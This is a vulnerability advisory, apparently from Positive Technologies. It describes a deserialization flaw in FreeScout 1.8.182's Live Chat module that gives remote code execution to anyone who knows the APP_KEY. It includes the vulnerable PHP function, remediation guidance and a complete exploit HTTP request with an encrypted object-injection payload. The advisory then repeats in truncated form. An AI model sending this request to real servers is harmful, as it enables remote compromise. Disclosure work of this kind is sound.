Deserialization of untrusted data leads to Remote code execution (RCE) [10]
Product: FreeScout
Version: 1.8.182
CWE-ID:
• CWE-502: Deserialization of Untrusted Data
• CAPEC-586: Object Injection
CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
Description: The application performs deserialization of data that can be tampered with. An attacker can create objects of arbitrary classes, as well as fully control their properties, thereby allowing them to manipulate the web application's logic.
Vulnerable scenarios: /chat/ajax
Vulnerable parameters:
• POST conversation_id
• POST customer_id
Exploitation conditions: APP_KEY knowledge, Live Chat Module installed
Recommendations: Configure the web server to prevent the receipt of untrusted deserialized data or, if the architecture allows, use alternative data formats such as JSON or XML instead of serialized objects.
If this is not possible, follow the guidelines below:
• Explicitly define data types during deserialization;
• Ensure data integrity checks (e.g., using an HMAC hash function);
• Create a separate object to store deserialized data, as this causes the data to pass through secure input validation;
• Use transient fields to denote data that should not be serialized.
Researchers: Daniil Satyaev, Roman Cheremnykh, Artem Danilov (Positive Technologies)
Research
Vulnerable code:
Listing Vulnerable code: Chat/Providers/ChatServiceProvider.php 130-138
public static function decryptId($encrypted_id)
{
try {
return decrypt($encrypted_id ?? '');
} catch (\Exception $e) {
\Helper::logException($e);
}
return null;
}
Exploitation scenario:
User with APP_KEY can exploit the Deserialization of untrusted data to gain Remote code execution (RCE) on server.
Listing HTTP-request to exploit «Deserialization of untrusted data»
POST /chat/ajax HTTP/1.1
Host: freescout.web-hacks.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Csrf-Token:
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundary16dc93592482b06da29cc4a75b71d73d
Content-Length: 1667
Origin: https://freescout.web-hacks.ru
Referer: https://freescout.web-hacks.ru/chat/widget/form/4128764580
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
------geckoformboundary16dc93592482b06da29cc4a75b71d73d
Content-Disposition: form-data; name="action"
submit
------geckoformboundary16dc93592482b06da29cc4a75b71d73d
Content-Disposition: form-data; name="mailbox_id_encoded"
4128764580
------geckoformboundary16dc93592482b06da29cc4a75b71d73d
Content-Disposition: form-data; name="body"
112233
------geckoformboundary16dc93592482b06da29cc4a75b71d73d
Content-Disposition: form-data; name="conversation_id"
eyJpdiI6ICJ5T2dEM0h3MmNwVVBWSTZReldKYVVBPT0iLCAidmFsdWUiOiAiWTRmbGNCSDZWRVRtSEp6bjczdEZSUTZydTdrQlVSVkhuaUpVbWxDSDBxcFZMWVY5UzZ2TVp3SjM1WllDeWNQM3ljYXR0UWtOYW5yTE5LOTNCK0c4RTNzMUFjRHBvZys1V3NxN1U2M3I1Z2xqd1doVExqYXdiSExydkp1aUxidVk3Q3g1ZXR6YjJYbkNDeGl4Vkl1SlNRc3o5aHlwdlpnQW5CdGY1cnoxc2EySm0wcDJwZU9nWkxNcmxqZmo3SDZqTzJTWlVuWFFRY3AyV0hYVnBlV0lUdDRLQy8zbTJyditUMzFvNldmY0JXZXZiWitoeUNIZmhIY0p4aXpBME5kdmFQaCtXOXRZZ0tPL2g4ZmExbTN3bXhrQXc5OWx4dFUwSnlLYmZKTG8zL0pqd3V5bkdnNS9XenByN3ZMZDlLb3lVL3FpQ3RUdkppSjc0VkVseVFMOEUzRW53YkdMVFdUakVJNEJSeFNyUTU5QlJQYUwvWFlmTStxM2ZjZkxUZlNNQXVuQlJmSG8vVzVRWEVHS0tZNGdrdz09IiwgIm1hYyI6ICI0MmFkZGQ3ZmUwYmY1ODE3MjRiM2VjNDc2MGQ2MDhhOGNiZWYxZTk4ZjZiYjFkZWE0YzA4M2MzNWJjMDljZWY1IiwgInRhZyI6ICIifQ==
------geckoformboundary16dc93592482b06da29cc4a75b71d73d
Content-Disposition: form-data; name="customer_id"
eyJpdiI6ImJVRUJpQkhTVnhNdDUzekdZNXBLVnc9PSIsInZhbHVlIjoicmZNaEFmSW9xMXgzZ3ZwNTNCUTRHQT09IiwibWFjIjoiMDZhOWVjODEwNTMyYWEyOTE1ZTZhYzU5ODczMTBhYTQ1YzQ0MGYwZWNlYTY2NmEwNTFjMjc3YWMxMTllYzQ1OSJ9
------geckoformboundary16dc93592482b06da29cc4a75b71d73d
Content-Disposition: form-data; name="locale"
------geckoformboundary16dc93592482b06da29cc4a75b71d73d--
Deserialization of untrusted data leads to Remote code execution (RCE) [10]
Product: FreeScout
Version: 1.8.182
CWE-ID:
• CWE-502: Deserialization of Untrusted Data
• CAPEC-586: Object Injection
CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
Description: The application performs deserialization of data that can be tampered with. An attacker can create objects of arbitrary classes, as well as fully control their properties, thereby allowing them to manipulate the web application's logic.
Vulnerable scenarios: /chat/ajax
Vulnerable parameters:
• POST conversation_id
• POST customer_id
Exploitation conditions: APP_KEY knowledge, Live Chat Module installed
Recommendations: Configure the web server to prevent the receipt of untrusted deserialized data or, if the architecture allows, use alternative data formats such as JSON or XML instead of serialized objects.
If this is not possible, follow the guidelines below:
• Explicitly define data types during deserialization;
• Ensure data integrity checks (e.g., using an HMAC hash function);
• Create a separate object to store deserialized data, as this causes the data to pass through secure input validation;
• Use transient fields to denote data that should not be serialized.
Researchers: Daniil Satyaev, Roman Cheremnykh, Artem Danilov (Positive Technologies)
Research
Vulnerable code:
Listing Vulnerable code: Chat/Providers/ChatServiceProvider.php 130-138
Exploitation scenario:
User with APP_KEY can exploit the Deserialization of untrusted data to gain Remote code execution (RCE) on server.
Listing HTTP-request to exploit «Deserialization of untrusted data»